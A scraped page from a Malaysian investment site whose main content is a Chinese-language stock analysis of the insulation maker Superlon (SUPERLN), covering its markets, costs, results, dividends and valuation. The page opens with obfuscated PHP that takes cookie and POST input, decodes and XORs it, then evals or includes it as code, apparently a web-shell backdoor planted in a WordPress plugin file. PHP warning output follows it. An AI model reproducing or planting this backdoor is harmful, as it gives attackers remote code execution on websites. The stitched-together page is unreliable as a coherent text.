$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
昔日明星股世霸龙SUPERLN是否还能伏虎降龙? - Sharix

昔日明星股世霸龙SUPERLN是否还能伏虎降龙?

昨天世霸龙的业绩出炉,笔者也在这里和大家剖析财务报表及更新这家公司最新的进展。相信大家对于这家昔日明星股也不陌生。回想起2017财政年世霸龙交出了历史新高的盈利,股价也飙涨至RM2.97左右。但随后公司的盈利因为产品竞争剧烈及原料成本上升而走下坡,在2020财政年更因为受到疫情的影响,股价跌至RM0.40的最低点。

来到了2022财政年,到底世霸龙还能不能扭转乾坤?笔者接下来会和大家分析公司的业务,及探讨目前的估值有没有投资的机会。公司成立于1992年,主要从事生产丁腈橡胶 (Nitrile Butadiene Rubber/NBR) 的橡胶隔热材料,也应用保温技术来制造运动垫和其他隔音产品。

公司的产品大多运用在加热、通风、空调和冷藏领域,因此许多行业都会使用,包括建筑的管道系统、冷气机、冰箱、汽车、电讯系统等。公司所制造的产品出口至全球超过70个国家,并以亚洲新兴市场为主,主要的出口市场为印度及越南。目前亚洲及大洋洲总共占公司营收的53.4%,而大马则占总营收的37.8%。

公司在大马的雪州及越南的Binh Duong分别设有三间及一间厂房,每年可生产10,500吨保温材料。此外,公司在本地拥有55% 的市场份额,同时也是全球五大生产商之一,而本地的竞争对手为Insulflex Corp。根据股东大会管理层的陈述,大马及越南厂房在2021财政年的产能使用量分别为50% 及75%。虽然大马的使用量相比于2020财政年的60% 逊色,但值得庆幸的是越南的产能使用量也从去年同期的40% 进步不少。

原材料方面,公司最大的生产成本是来自丁二烯 (Butadiene),而丁二烯的价格在今年7月已经见顶。而管理层也说明虽然丁二烯的价格在今年呈现上涨的趋势,但目前的价格已经稳定下来,相信公司未来的营运利率会有所改善。笔者之前也有出席过公司的投资者大会,得知公司丁二烯原料的全球市场其实是由几家公司所垄断,在议价能力其实是处于劣势。

而公司在2018财政年的盈利大跌了48.1% 主要是因为原料成本上涨。而公司为了保持价格竞争力,曾经试图将5% 至10% 的成本转嫁给大部分客户。但是公司旗下的部分客户曾表示不满意,因为其他供应商并没有相对提高价格。这也间接透露公司在产品的定价能力也没有很强。

观察最新季度的业绩,公司的营收按年下跌了30% 至RM19.2 million,主要受到出口市场的封锁措施影响,导致这些国家的项目和安装合约被迫延后。管理层也表示大马及越南工厂的暂时关闭也影响了公司这个季度的营收。因此,公司的净利也按年下滑了38.5% 至RM2.3 million。但值得赞扬的是,公司的毛利率也能维持在高档的31%,表现出管理层优秀的成本控制能力。只要未来公司能提高营收,相信毛利率有进一步走高的机会。

展望未来,公司将专注于提高自身的营运效率降低生产成本。此外,管理层也表示早前正在商谈的澳洲客户也已经开始贡献盈利。至于出口市场方面,公司提到印度市场仍然挑战重重,虽然销售保持可观,但受到高昂的运费及较低的平均售价导致盈利不佳。因此,公司也逐渐转移出口市场至其他地区如澳洲、越南、巴基斯坦等国家。

公司在产能扩充方面也比较谨慎。和大家回顾一下公司在越南的新厂房已经在2019年完成,每年可生产1,500吨隔热材料,并将总产能从每年9,000吨提升至10,500吨,相等于17% 的增幅。公司在越南设厂的主要原因是因为未来能够为越南及周边国家的客户提供更好的服务,无论是在交付或者订货。

此外,管理层也大派定心丸,声称公司在越南的厂房并没有受到太大的影响,主要是公司在配合越南政府的SOP方面做到很充足,而厂房也在短时间内恢复营运。另外,越南的厂房也已经突破收支平衡,目前开始贡献盈利。

公司的资产负债表也非常干净,手上握着RM22.9 million的现金及RM11.7 million的负债,目前也处于RM11.1 million的净现金状态,净负债比net gearing只有0.08倍。此外,公司的现金流也健康,过去八年平均每年都有RM14 million的营运现金流。而公司在2019财政年投入RM13 million的资本年扩充越南的厂房后,往后的资本投入也维持在RM4 million左右用于提升生产设备的效率。

稳定的现金流也使得公司的派息不曾中断,管理层也设每年至少派发30% 的盈利回馈股东。公司在2021财政年派发了3.15仙的股息,而笔者预计只要明年的盈利能复苏,以每股3.5仙的股息做计算,目前的股息率也有不错的3.85%。

估值方面,笔者预计公司目前的远期本益比10倍,由于本地也没有直接竞争的上市公司,所以无法作比较。但从上述的分析来看,笔者认为对于没有很强议价能力,且盈利大幅受原料价格波动的公司,合理估值应该为12倍左右,距离目前的估值还有20% 的上涨空间。

另外,笔者认为公司的盈利要回到2017财政年RM23.7 million的高峰在近期内不会达到,毕竟那个时候公司搭上马币贬值和超出合理范围的盈利率所致。但是,只要未来全球经济复苏,建筑和工业活动开始回温,公司的隔热产品需求也会提高,也能说这家公司是全球经济复苏的概念股。

最新文章

Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台